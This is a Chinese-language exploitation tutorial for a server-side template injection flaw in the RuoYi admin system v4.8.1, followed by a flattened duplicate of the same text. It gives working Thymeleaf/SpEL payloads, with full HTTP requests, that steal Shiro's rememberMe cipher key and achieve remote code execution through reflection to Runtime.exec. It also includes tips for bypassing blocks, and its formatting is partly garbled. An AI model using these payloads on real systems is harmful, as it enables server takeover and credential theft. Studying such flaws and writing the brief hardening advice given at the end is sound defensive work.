若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE
字数 1344 2025-12-06 12:04:29

若依管理系统4.8.1版本SSTI漏洞分析与利用教学

漏洞概述

若依管理系统(RuoYi)v4.8.1版本存在服务器端模板注入(SSTI)漏洞,攻击者可通过精心构造的请求绕过安全限制,最终实现远程代码执行(RCE)。该漏洞结合Shiro框架的密钥泄露,构成了完整的攻击链。

环境搭建

所需资源

  • 源码地址:https://gitee.com/y_project/RuoYi/tree/v4.8.1
  • 数据库:MySQL
  • 开发工具:IDEA
  • 数据库文件:ry_20250416.sql与quartz.sql

搭建步骤

  1. 创建名为ry的数据库
  2. 导入提供的SQL文件到数据库
  3. 修改配置文件application-druid.yml中的数据库账号密码
  4. 在IDEA中配置并启动项目

漏洞分析

漏洞位置

com/ruoyi/web/controller/monitor/CacheController.java中的getCacheNames方法:

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

漏洞原理

  • 方法直接将用户输入的fragment参数拼接到Thymeleaf模板路径中
  • 使用Thymeleaf片段语法::进行拼接,形成完整模板路径
  • 攻击者可通过特殊构造的表达式绕过安全限制

攻击流程

第一阶段:SSTI绕过

基础POC结构

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=xxx; rememberMe=xxx
X-CSRF-Token: xxx

fragment=__|
$$
{表达式}|__::.x

表达式解析

  • __|...|__:Thymeleaf预处理块
  • `

\[{...}`:预处理中的表达式,在模板解析前执行 - `::.x`:片段选择器后缀 ### 第二阶段:Shiro密钥获取 #### 密钥提取POC ``` fragment=__| \]

{#response.getWriter().print(''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x


#### 技术要点
1. 通过反射调用Base64编码器
2. 访问Shiro的`securityManager.rememberMeManager.cipherKey`获取密钥
3. 使用Base64编码后通过响应输出

### 第三阶段:RCE实现

#### 方法调用链构建
1. **基础类加载**:

@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime')


2. **方法过滤与选择**:

getMethods.?[name=='getRuntime'][0]

- `?[name=='getRuntime']`:SpEL表达式过滤,选择名称为getRuntime的方法
- `[0]`:选择过滤后的第一个方法

3. **方法调用**:

invoke(null)

- 传递null参数调用静态方法

#### 完整RCE POC

fragment=__|

\[{#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x ``` #### 关键技术点 - **反射调用链**:通过类加载器→Runtime类→getRuntime方法→exec方法 - **参数传递**:`invoke`方法需要传递方法所属实例和参数 - **静态方法调用**:使用`invoke(null)`调用静态方法 - **方法过滤语法**:SpEL的`?[condition]`条件过滤语法 ## 调试技巧 ### 分步测试方法 1. 先测试基础类加载是否成功 2. 逐步添加方法调用,观察响应 3. 遇到错误时删除部分调用进行定位 ### 常见问题解决 - **直接调用被拦截**:使用反射方式绕过安全机制 - **方法调用报错**:检查括号使用和参数传递 - **表达式语法错误**:确保SpEL语法正确性 ## 防护建议 1. **输入验证**:对用户输入的fragment参数进行严格过滤 2. **权限控制**:确保接口有适当的权限验证 3. **表达式过滤**:限制模板表达式的执行能力 4. **框架升级**:及时更新Thymeleaf和Shiro版本 ## 总结 该漏洞利用链完整展示了从SSTI到RCE的攻击过程,通过巧妙的表达式构造和反射调用,成功绕过了多层安全防护。安全开发人员应重视用户输入的处理和框架安全配置,防止此类漏洞的产生。\]

若依管理系统4.8.1版本SSTI漏洞分析与利用教学 漏洞概述 若依管理系统(RuoYi)v4.8.1版本存在服务器端模板注入(SSTI)漏洞,攻击者可通过精心构造的请求绕过安全限制,最终实现远程代码执行(RCE)。该漏洞结合Shiro框架的密钥泄露,构成了完整的攻击链。 环境搭建 所需资源 源码地址 :https://gitee.com/y_ project/RuoYi/tree/v4.8.1 数据库 :MySQL 开发工具 :IDEA 数据库文件 :ry_ 20250416.sql与quartz.sql 搭建步骤 创建名为 ry 的数据库 导入提供的SQL文件到数据库 修改配置文件 application-druid.yml 中的数据库账号密码 在IDEA中配置并启动项目 漏洞分析 漏洞位置 com/ruoyi/web/controller/monitor/CacheController.java 中的 getCacheNames 方法: 漏洞原理 方法直接将用户输入的 fragment 参数拼接到Thymeleaf模板路径中 使用Thymeleaf片段语法 :: 进行拼接,形成完整模板路径 攻击者可通过特殊构造的表达式绕过安全限制 攻击流程 第一阶段:SSTI绕过 基础POC结构 表达式解析 __|...|__ :Thymeleaf预处理块 $${...} :预处理中的表达式,在模板解析前执行 ::.x :片段选择器后缀 第二阶段:Shiro密钥获取 密钥提取POC 技术要点 通过反射调用Base64编码器 访问Shiro的 securityManager.rememberMeManager.cipherKey 获取密钥 使用Base64编码后通过响应输出 第三阶段:RCE实现 方法调用链构建 基础类加载 : 方法过滤与选择 : ?[name=='getRuntime'] :SpEL表达式过滤,选择名称为getRuntime的方法 [0] :选择过滤后的第一个方法 方法调用 : 传递null参数调用静态方法 完整RCE POC 关键技术点 反射调用链 :通过类加载器→Runtime类→getRuntime方法→exec方法 参数传递 : invoke 方法需要传递方法所属实例和参数 静态方法调用 :使用 invoke(null) 调用静态方法 方法过滤语法 :SpEL的 ?[condition] 条件过滤语法 调试技巧 分步测试方法 先测试基础类加载是否成功 逐步添加方法调用,观察响应 遇到错误时删除部分调用进行定位 常见问题解决 直接调用被拦截 :使用反射方式绕过安全机制 方法调用报错 :检查括号使用和参数传递 表达式语法错误 :确保SpEL语法正确性 防护建议 输入验证 :对用户输入的fragment参数进行严格过滤 权限控制 :确保接口有适当的权限验证 表达式过滤 :限制模板表达式的执行能力 框架升级 :及时更新Thymeleaf和Shiro版本 总结 该漏洞利用链完整展示了从SSTI到RCE的攻击过程,通过巧妙的表达式构造和反射调用,成功绕过了多层安全防护。安全开发人员应重视用户输入的处理和框架安全配置,防止此类漏洞的产生。